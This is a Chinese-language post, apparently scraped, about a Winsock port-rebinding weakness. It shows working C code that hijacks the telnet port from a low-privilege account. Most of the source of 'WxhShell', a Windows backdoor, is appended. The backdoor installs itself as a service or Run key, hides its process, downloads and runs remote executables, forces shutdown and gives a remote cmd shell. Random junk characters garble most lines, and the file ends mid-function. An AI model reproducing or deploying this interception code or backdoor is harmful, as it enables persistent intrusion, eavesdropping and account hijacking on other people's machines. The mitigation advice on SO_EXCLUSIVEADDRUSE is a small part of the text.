在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
c3 )jsf s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
pRzL}-[/v `<kB/T saddr.sin_family = AF_INET;
O8cZl1C3 @|5B}%! saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ioEjbqD< ?^2nrh,n+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
&er,Wyc( Y`(~eNX^% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
97qf3^gGd m'N8[ o|h 这意味着什么?意味着可以进行如下的攻击:
wa~zb!y< /]U;7) 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
=z]rZSq*o &H
P g> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
|sY gVe]?Jva` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
E-($Xc <EQaYZY= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
z;y{QO s;..a&C' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
B"zB=Aw Fq_>}k@fI 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
,L lYRj 5 uE<8L(*B 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
^B%c3U$o 00{a}@n #include
B:Ft(, #include
Pouo# 5 #include
{bR2S&=OmK #include
N&eo;Ti DWORD WINAPI ClientThread(LPVOID lpParam);
8a&c=9 int main()
`6lOq H {
^G2M4+W| WORD wVersionRequested;
4HR36=E6 DWORD ret;
cy)-Rfg WSADATA wsaData;
![nL/ BOOL val;
\I-e{'h SOCKADDR_IN saddr;
#p7gg61 SOCKADDR_IN scaddr;
QqRF?%7q"q int err;
cTS.yN({G SOCKET s;
2g~ @99` SOCKET sc;
: p)R,('g int caddsize;
0kNKt(_ HANDLE mt;
D4C:%D DWORD tid;
;obOr~Jx'5 wVersionRequested = MAKEWORD( 2, 2 );
d7mn(= & err = WSAStartup( wVersionRequested, &wsaData );
Vo+.s#wN`h if ( err != 0 ) {
9_nbMs printf("error!WSAStartup failed!\n");
{Z7ixc523 return -1;
$(+xhn(O }
dJ/gc"7aO saddr.sin_family = AF_INET;
1KbZ6Msy ,Q3OQ[Nmh //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
MBU|<tc x0jaTlU/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
-*Rf [|Z saddr.sin_port = htons(23);
w-2#CX8jY if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
PTLlLa85< {
fQ~TZ:UrU printf("error!socket failed!\n");
^1vKhO+p$ return -1;
UP$>,05z6 }
F_9
4k val = TRUE;
k52IvB@2 //SO_REUSEADDR选项就是可以实现端口重绑定的
MmfBFt* if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
# ACT&J {
sW'_K.z printf("error!setsockopt failed!\n");
EI7n|X
a1q return -1;
[3s-S+n
@ }
p5tb=Zg_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
e^3D`GA //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
('Qq"cn# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ok0ZI>=, |m6rF7Q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
a/J Mg {
0nL
#-`S ret=GetLastError();
&VA^LS@b printf("error!bind failed!\n");
71Za!3+ return -1;
AIY 1sSK }
c*. listen(s,2);
*4NY"EwjN while(1)
/]'&cD 1 {
: r ~iFP* caddsize = sizeof(scaddr);
m;\nMdn //接受连接请求
WW{_D sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'*65j if(sc!=INVALID_SOCKET)
dKCl#~LAI' {
3)ox8,{%} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
7<*0fy5n n if(mt==NULL)
_z8"r& {
VFx[{Hy printf("Thread Creat Failed!\n");
[Z"Z5e` break;
yYYP;N?g4k }
ib#rT{e }
KXDnhVf CloseHandle(mt);
0%%U7GFB5 }
nW"O+s3 closesocket(s);
VevG 64o WSACleanup();
w8R7Ksn( return 0;
gd]S;<Jh }
C?>d$G8 DWORD WINAPI ClientThread(LPVOID lpParam)
Q~qM;l\i {
cu
foP& SOCKET ss = (SOCKET)lpParam;
y<j7iN SOCKET sc;
wK7w[Xt unsigned char buf[4096];
m$^5{qpg SOCKADDR_IN saddr;
y0(.6HI long num;
A{J?I: DWORD val;
^)Awjj9 DWORD ret;
Yl>Y.SO //如果是隐藏端口应用的话,可以在此处加一些判断
_u^3uzu //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
m"/..&'GC saddr.sin_family = AF_INET;
vA!IcDP" saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
:Ae#+([V saddr.sin_port = htons(23);
4'*-[TKC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0)g]pG8&ro {
V 0Oqq0\ printf("error!socket failed!\n");
}BU%<5CQ return -1;
?A7 AVR }
X/cb1# val = 100;
BJb, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!reOYt| {
=pi,]m ret = GetLastError();
Uq_lT, return -1;
iKV|~7nwO }
ga/zt-& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
z9 Ch %A{ {
~cSXBc,+ ret = GetLastError();
3^%2, return -1;
,7bhUE/VB }
M1Ff ,]w if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
89^g$ ac {
}xt^}:D printf("error!socket connect failed!\n");
&
[@)Er= closesocket(sc);
_b&26!gl closesocket(ss);
W)bSLD return -1;
.=Oww }
U)Hc7%
e while(1)
XP
o#qT8n {
r>ed/<_>m; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
i6k6l% //如果是嗅探内容的话,可以再此处进行内容分析和记录
au+Jz_$) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
N,rd= m+ num = recv(ss,buf,4096,0);
VnkhY if(num>0)
?xH{7)dO send(sc,buf,num,0);
; 8DtnnE else if(num==0)
7r'_p$ break;
rf|Nu3AJ num = recv(sc,buf,4096,0);
ru2M"]T if(num>0)
9%|skTgIqH send(ss,buf,num,0);
^
'|y^t else if(num==0)
'A.5T%n- break;
(>A#|N1U }
4GF3.?3 closesocket(ss);
,)*[Xa_n closesocket(sc);
)uOtQ0 return 0 ;
PkyX,mr#1 }
c}n66qJF5 OYt_i'Q KCbJ^Rln ==========================================================
>'q]ypA1
frPQi{u$ 下边附上一个代码,,WXhSHELL
Z3c\}HLY _[z)%`kay ==========================================================
~K #92 R,78}7B #include "stdafx.h"
$`W3`}#fM O&aD]~| #include <stdio.h>
rn(
drG #include <string.h>
Zl&ED{k< #include <windows.h>
2;"vF9WMm #include <winsock2.h>
8%u|[Si; #include <winsvc.h>
#z&R9$ #include <urlmon.h>
6M7GPHah }JST(d& #pragma comment (lib, "Ws2_32.lib")
N atC}k #pragma comment (lib, "urlmon.lib")
b3[[ Ah- [Z2[Iy #define MAX_USER 100 // 最大客户端连接数
j0+D99{R #define BUF_SOCK 200 // sock buffer
e#k rr #define KEY_BUFF 255 // 输入 buffer
]zyT_}& AN:s%w2 #define REBOOT 0 // 重启
"IQYy~
/ #define SHUTDOWN 1 // 关机
>SvS(N{ mMl len #define DEF_PORT 5000 // 监听端口
.wq
j (nmsw6
X #define REG_LEN 16 // 注册表键长度
8g)$%Fy+N #define SVC_LEN 80 // NT服务名长度
zF^H*H D=z="p\ // 从dll定义API
]!sCWR typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
$mKExW typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
k6z
]-XG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
|-{e!& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
bws}'#-* zE1=P/N // wxhshell配置信息
12'MzIsU's struct WSCFG {
,N,@9p int ws_port; // 监听端口
o:ow"cOEf char ws_passstr[REG_LEN]; // 口令
u? >x int ws_autoins; // 安装标记, 1=yes 0=no
cSB_b.@"1 char ws_regname[REG_LEN]; // 注册表键名
8(Ptse
, char ws_svcname[REG_LEN]; // 服务名
>gL&a#<S char ws_svcdisp[SVC_LEN]; // 服务显示名
.!L{yU, char ws_svcdesc[SVC_LEN]; // 服务描述信息
qvo!nr7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
HxW/t7Z( int ws_downexe; // 下载执行标记, 1=yes 0=no
(_FeX22+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
RAu(FJ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
'[8w8,v( Q~ Ad{yC };
z.RM85 ?T -a>CF^tH // default Wxhshell configuration
LNR1YC1c struct WSCFG wscfg={DEF_PORT,
(D?4*9= "xuhuanlingzhe",
}z/%b<o_ 1,
hNYO+LrI) "Wxhshell",
CfS;F "Wxhshell",
ewn\'RLZ"@ "WxhShell Service",
vv2[t "Wrsky Windows CmdShell Service",
_8y4U[L "Please Input Your Password: ",
.p=J_%K}0x 1,
0[d*Z "
http://www.wrsky.com/wxhshell.exe",
AU)\ lyB "Wxhshell.exe"
XY6Sm{ };
QR( ;a: h P WP6;Z // 消息定义模块
QA^FP8!j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/SM 7t_ char *msg_ws_prompt="\n\r? for help\n\r#>";
73S
N\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
E>-I
|X"L1 char *msg_ws_ext="\n\rExit.";
zBq&/? char *msg_ws_end="\n\rQuit.";
A7#nBHwxZ char *msg_ws_boot="\n\rReboot...";
Y=Ic<WHR char *msg_ws_poff="\n\rShutdown...";
^fO9oPM| char *msg_ws_down="\n\rSave to ";
A =Z$H2 ztHx)
! char *msg_ws_err="\n\rErr!";
}BT0dKx char *msg_ws_ok="\n\rOK!";
](n)bF+ym !PeSnO char ExeFile[MAX_PATH];
p`\>GWuT! int nUser = 0;
_}JMBIq$ HANDLE handles[MAX_USER];
TYR \K int OsIsNt;
9^H.[t h,&{m*q& SERVICE_STATUS serviceStatus;
ep},~tPZn SERVICE_STATUS_HANDLE hServiceStatusHandle;
V8WSJ=-&
B0Z>di: // 函数声明
wE<r' int Install(void);
[+W<;iep int Uninstall(void);
X-"
+nThMn int DownloadFile(char *sURL, SOCKET wsh);
N}#"o int Boot(int flag);
icIWv
void HideProc(void);
+3XaAk int GetOsVer(void);
^yl}/OD int Wxhshell(SOCKET wsl);
P{%Urv{U void TalkWithClient(void *cs);
A\9LJ#E int CmdShell(SOCKET sock);
0uM&F[.x@g int StartFromService(void);
b|E ZD3y int StartWxhshell(LPSTR lpCmdLine);
HEc.3 J9XH8Grk- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
T+RC#&> VOID WINAPI NTServiceHandler( DWORD fdwControl );
[r Nd7-j < t~4Cf]) // 数据结构和表定义
aY.cx1" SERVICE_TABLE_ENTRY DispatchTable[] =
w8$>
2 {
P'}B5I~ {wscfg.ws_svcname, NTServiceMain},
p{ZyC {NULL, NULL}
':tdb$h };
.w{Y3,dd> aqK+ u.H // 自我安装
g2==`f!i int Install(void)
8Ed axeDq {
.=-a1p/ char svExeFile[MAX_PATH];
[lSQMoi3 HKEY key;
fdwP@6eh strcpy(svExeFile,ExeFile);
+G"YQq'b |w#~v%w // 如果是win9x系统,修改注册表设为自启动
`x >6Wk1 if(!OsIsNt) {
v{"yrC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
]2|fc5G' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4e|N^h*! RegCloseKey(key);
{SXSQ '= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^\`a-l^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
b3 =Z~iLv RegCloseKey(key);
[MbbL return 0;
Tjv'S
< }
aqQ+A:g }
8*#$3e }
.$y'>O*$G else {
BAvz @H (@!K tW // 如果是NT以上系统,安装为系统服务
d@a<Eq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0&CXR=U5 if (schSCManager!=0)
[kxOv7a {
[~\]<;;\ SC_HANDLE schService = CreateService
oqbz!dM(Z (
f2M*]{N schSCManager,
0m> 8 wscfg.ws_svcname,
]i0=3H2 wscfg.ws_svcdisp,
Uzrf,I[ SERVICE_ALL_ACCESS,
6L\]Ee SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
zd!%7
UP SERVICE_AUTO_START,
EVaHb; SERVICE_ERROR_NORMAL,
K*,,j\Q. svExeFile,
LCj3{>{/= NULL,
/5L\:eX% NULL,
?mK&Slh. NULL,
q`L)^In" NULL,
Qmo}esb'( NULL
2T(+VeMQ= );
+Q);t, if (schService!=0)
ns\I Y<Yo {
M?}:N_9<J CloseServiceHandle(schService);
Oi^cs=} CloseServiceHandle(schSCManager);
qbS6#7D strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|xg#Q`O strcat(svExeFile,wscfg.ws_svcname);
$$o( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
oq$#wiV"Q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
yoF*yUls^E RegCloseKey(key);
sSGXd=": return 0;
BgdUG:;&
}
kFmtE
dhsc }
*
]bB7 CloseServiceHandle(schSCManager);
QZ;DZMP }
#l:
1R&F }
ErJ@$&7 BV7P_!vt return 1;
6dz^%Ub }
Ac|dmu %t!S 7UD // 自我卸载
.o C!~' int Uninstall(void)
\~Z%}$ = {
TKAs@X,t HKEY key;
V'Kied+ ZPb30M0 if(!OsIsNt) {
m]fU V8U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-D=Sj@G RegDeleteValue(key,wscfg.ws_regname);
kRX?o'U~C RegCloseKey(key);
j}
^3v # if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M1#CB RegDeleteValue(key,wscfg.ws_regname);
cVxO\M RegCloseKey(key);
@>~\So| return 0;
HB}rpiB }
+0Q +0: }
kb/BEJ }
<BZC5b6 else {
kMnG1K ,5}w]6bCr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
|Z2"pV if (schSCManager!=0)
qS!N\p~> {
`0M6<e]C SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
e?+-~]0 if (schService!=0)
m$v >r\*X {
@sg.0GR if(DeleteService(schService)!=0) {
yOKzw~;0% CloseServiceHandle(schService);
zP2X}VLMo CloseServiceHandle(schSCManager);
aL+>XN return 0;
5 *YvgB; }
EleJ$ `/ CloseServiceHandle(schService);
M
| "'`zc }
q6nRk~ CloseServiceHandle(schSCManager);
>.K%W*t }
P\6:euI }
iZeq
l1O W,CAg7:* return 1;
#\D74$D }
[Eu)~J* ZOa| lB (, // 从指定url下载文件
LK}FI*A_ int DownloadFile(char *sURL, SOCKET wsh)
vo*oCfm {
mR
XRuK HRESULT hr;
X_@|+d char seps[]= "/";
S!z3$@o char *token;
J+
S]Qoz char *file;
rQ]JM char myURL[MAX_PATH];
F4z#u2~TC char myFILE[MAX_PATH];
Vym0|cW w"dKOdY strcpy(myURL,sURL);
~XuV:K3 token=strtok(myURL,seps);
YCxwIzIR while(token!=NULL)
V|sV U {
Q{950$)L file=token;
gSw<C+ token=strtok(NULL,seps);
zixG}' }
KT<$E!@ h{ix$Xn~ GetCurrentDirectory(MAX_PATH,myFILE);
@d 7V@F0d strcat(myFILE, "\\");
C<(oaeQY strcat(myFILE, file);
Fih
pp< send(wsh,myFILE,strlen(myFILE),0);
Ow4(1eE_ send(wsh,"...",3,0);
Gvh"3|u?z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
/P TRe5-7 if(hr==S_OK)
T9Juq6| return 0;
$S?gQN.e else
L_vl%ii- return 1;
r#)1/`h rg >2tgA }
kln)7SzPuk Bh cp=# // 系统电源模块
ZnI15bsDx int Boot(int flag)
m<>BxX {
P,'%$DLDg HANDLE hToken;
_\tv ${ TOKEN_PRIVILEGES tkp;
(,QWK08 !\BZ_guz if(OsIsNt) {
YJ"D"QD OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
JVy|SA&R LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
0<~~0US tkp.PrivilegeCount = 1;
?-mOAHW0q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
\DZ.#=d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
MSvZ3[5Io if(flag==REBOOT) {
r=Lgh#9S if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
U-fxlg|-C return 0;
_r\M}lDh* }
QNU~G3 else {
fpo{`;&F if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
7(.Z8AO return 0;
\2a;z<( }
I(pq3_9$ }
x@rQ7K> else {
o&%v"#H2 if(flag==REBOOT) {
D0 p*Sg if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
wv{ Qx^ return 0;
C2v_],] }
!.mR]El{K else {
4l%W]' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Hh=fv~X return 0;
|> ]@w\] }
Wmcd{MOS }
EC,`t*< MU
a[}? return 1;
QE[<Y3M }
TMPk)N1Ka <Jhd%O // win9x进程隐藏模块
c5WMN.z void HideProc(void)
pl&nr7\ {
LiT%d JJ?rVq1g HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
j;coP ehB if ( hKernel != NULL )
..u{v}4& {
(
uD^_N]3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
f2IH2^)P ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
#vV]nI<MF. FreeLibrary(hKernel);
_(h=@cv }
A[;deHg= MYy58N return;
vQi=13Pw }
PZ8,E{V LPt9+sauf1 // 获取操作系统版本
oHx:["F int GetOsVer(void)
L7 }nmP>aR {
; o_0~l=-/ OSVERSIONINFO winfo;
Hm'"I!jyO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
%w65)BFQ GetVersionEx(&winfo);
L>sLb(2\i if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
nI6ompTX return 1;
!mUJ["# else
^)>( <6 return 0;
PtW2S 1?j }
m#RJRuZ|2V gUx}vE- // 客户端句柄模块
g-d{"ZXd J int Wxhshell(SOCKET wsl)
63u%=-T%a
{
aH_c84DS SOCKET wsh;
lY
tt|J struct sockaddr_in client;
^{MqJ\S7H DWORD myID;
JnBc@qnP6 4DCh+|r while(nUser<MAX_USER)
_<.VP {
8~C}0H int nSize=sizeof(client);
}bS1M wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
*GE6zGdN if(wsh==INVALID_SOCKET) return 1;
}UW*[dCf>C ?{f6su@rW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
o1(;"5MM if(handles[nUser]==0)
Wds>'zzS closesocket(wsh);
c 1F^Gj!8 else
X13+n2^8] nUser++;
'M"z3j]m-, }
$"/l*H\h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
@r*GGI! ^ul1{ return 0;
0@"'SKq }
)Ac,F6w +S(# 7 // 关闭 socket
3/n?g7B void CloseIt(SOCKET wsh)
?Xypn#OPt {
o[!o+M closesocket(wsh);
.-rz30xT nUser--;
\T_ZcV ExitThread(0);
f~mwDkf?L }
6P
_+:Mf :P_h_Tizv // 客户端请求句柄
8+oc4~!A@n void TalkWithClient(void *cs)
7w)8s {
jD S\ iw,uwh|L
SOCKET wsh=(SOCKET)cs;
G^)]FwTs char pwd[SVC_LEN];
a^J(TW/ char cmd[KEY_BUFF];
]C,j80+pK char chr[1];
%;QK5L int i,j;
Hl8-q! hTLf$_|P while (nUser < MAX_USER) {
yg}O9!M J ct-Bq if(wscfg.ws_passstr) {
YM_ [ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^aAs=KditO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{"Sv~L|J; //ZeroMemory(pwd,KEY_BUFF);
\UK}B i=0;
5\quh2Q_ while(i<SVC_LEN) {
Ro2V-6/ #1J,!seJ // 设置超时
wL),/i&< fd_set FdRead;
n zaDO-2! struct timeval TimeOut;
#VX]trh, FD_ZERO(&FdRead);
wd*B3 FD_SET(wsh,&FdRead);
jV*10kM< TimeOut.tv_sec=8;
9y6u&!PZ\ TimeOut.tv_usec=0;
L D[\eJ_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
,byc!P if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<<d # A Qjv?
4)T if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
R5=J :o pwd
=chr[0]; yP$esDP
if(chr[0]==0xd || chr[0]==0xa) { (9%?ik
pwd=0; =_k
break; 8wkhbD|;
} 6Z#Nh@!+C
i++; k)>H=?mI
} Ql5bjlQdO
o
i'iZX
// 如果是非法用户,关闭 socket ),N,!15j,
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %W D^0U|
} q#AEu
xI1
M(+Pd_c6
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QY)p![6Fj
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /a32QuS
M%ecWr!tj
while(1) { !8UIyw
+C!GV.q[
ZeroMemory(cmd,KEY_BUFF); QYo04`Rl
:&
Dv!z
// 自动支持客户端 telnet标准 }TMO>eB'
j=0; N@PwC(
while(j<KEY_BUFF) { p}pRf@(`\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .S,E=
cmd[j]=chr[0]; +g?uvXC&
if(chr[0]==0xa || chr[0]==0xd) { > .NLmzUX
cmd[j]=0; e+BZoK ^
break; ZOPK
} A-4;$
QSm
j++; +&u/R')?6r
} PR|z -T
:|V650/
// 下载文件 [(*Eg!?W=
if(strstr(cmd,"http://")) { Y(6evo&IR
send(wsh,msg_ws_down,strlen(msg_ws_down),0); E}9wzPs
if(DownloadFile(cmd,wsh)) mF@7;dpr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~vDa2D<9%
else {c)\}s(}F
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V $I8iVGL
} %(
7##f_
else { P.Bwfa
| I:@:
switch(cmd[0]) { !%65YTxY-
B\R X
// 帮助 ShC$ue?Q
case '?': { ':_9o5I
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ktfm
break; w3q'n%
} mTu>S
// 安装 9+9g (6
case 'i': { \9`E17i
if(Install()) V.
i{IW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &X:;B'
else 8:c=h/fa
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vzs4tkG
break; fWJpy#/^*K
} toGd;2rl
// 卸载 eef&ZL6g
case 'r': { t!3s@
if(Uninstall()) O#;sY`fy_M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `oNJ=,p
else 2LN6pu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Lg
,J9
break; sDNWB_~
} \;MP|:{pU
// 显示 wxhshell 所在路径 r}qDvC D
case 'p': { py\:u5QS
char svExeFile[MAX_PATH]; Qqg.z-G%.
strcpy(svExeFile,"\n\r"); }kQ{T:q4
strcat(svExeFile,ExeFile); zB0*KgAn{
send(wsh,svExeFile,strlen(svExeFile),0); 'A5T$JV.r4
break; G?@W;o)
} \k=dqWBr7
// 重启 W2rd[W
case 'b': { LQ k^l`
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :AlvWf$d
if(Boot(REBOOT)) !dwZ` D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {E%c%zzQ
else { 'i$._Tx
closesocket(wsh); gk| %
4.
ExitThread(0); !`N:.+DT
} Y _`JS;
break; z4_B/Q
} 36{OE!,i
// 关机 ;SI (5rS?
case 'd': { eEBNO*2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '6vo#D9M
if(Boot(SHUTDOWN)) kCEuzd=$V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) ??N]V_U
else { ;MNUT,U
closesocket(wsh); c!
kr
BS
ExitThread(0); D+:s{IcL<
} nuWQ3w
p[e
break; VK*_pEV,}
} RK-bsf
// 获取shell Ox#vW6;)
case 's': { G7CkP
CmdShell(wsh); U&6A)SW,k
closesocket(wsh); (${:5W
ExitThread(0); ,Tar?&C:
break; k^|z.$+
} ]@Y!,bw&
// 退出 IrZ\;!NK
case 'x': { <QvVPE}z
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); RuYIG?J=/
CloseIt(wsh); 67&IaDts
break; I)1ih
} Mj1f;$
// 离开 :(ql=+vDb4
case 'q': { '.z7)n
send(wsh,msg_ws_end,strlen(msg_ws_end),0); D~ 3@v+d
closesocket(wsh); :|kO}NGM
WSACleanup(); [;IE Z/ZX
exit(1); L&s~j/pR
break; {1Cnrjw
} 75p9_)>96
} _!zc <&~I
} 7"2BZ
)/DN>rU
// 提示信息 k0=!%f_G!
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uf+y$n-
} Wjq9f;
} #!z-)[S.+
e0y.J
return;
Hy:x.'i
} $+J39%Y!^
FVl,
ttW
// shell模块句柄 p@~Y[a =
int CmdShell(SOCKET sock) 7.VP7;jys
{ ]tu
OWR
STARTUPINFO si; M887 Q'HSi
ZeroMemory(&si,sizeof(si)); \y?*} L
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q 8Ek}O\MC
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5@1h^wv
PROCESS_INFORMATION ProcessInfo; O,),0zcYF
char cmdline[]="cmd";
MOB4t|
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]\K?%z
return 0; l=9D!64
} ]t!v`TH
<2@t~9
// 自身启动模式 6R^F^<<
int StartFromService(void) l-W)?d
{ :I7qw0?
typedef struct ~rO&Y{aG#
{ D3aX\ NGP
DWORD ExitStatus; KO8vUR*2R
DWORD PebBaseAddress; 2m*ugBO;
DWORD AffinityMask; p'^}J$
DWORD BasePriority; yB7si(,1>
ULONG UniqueProcessId; =%I[o=6
ULONG InheritedFromUniqueProcessId; Tx&H1
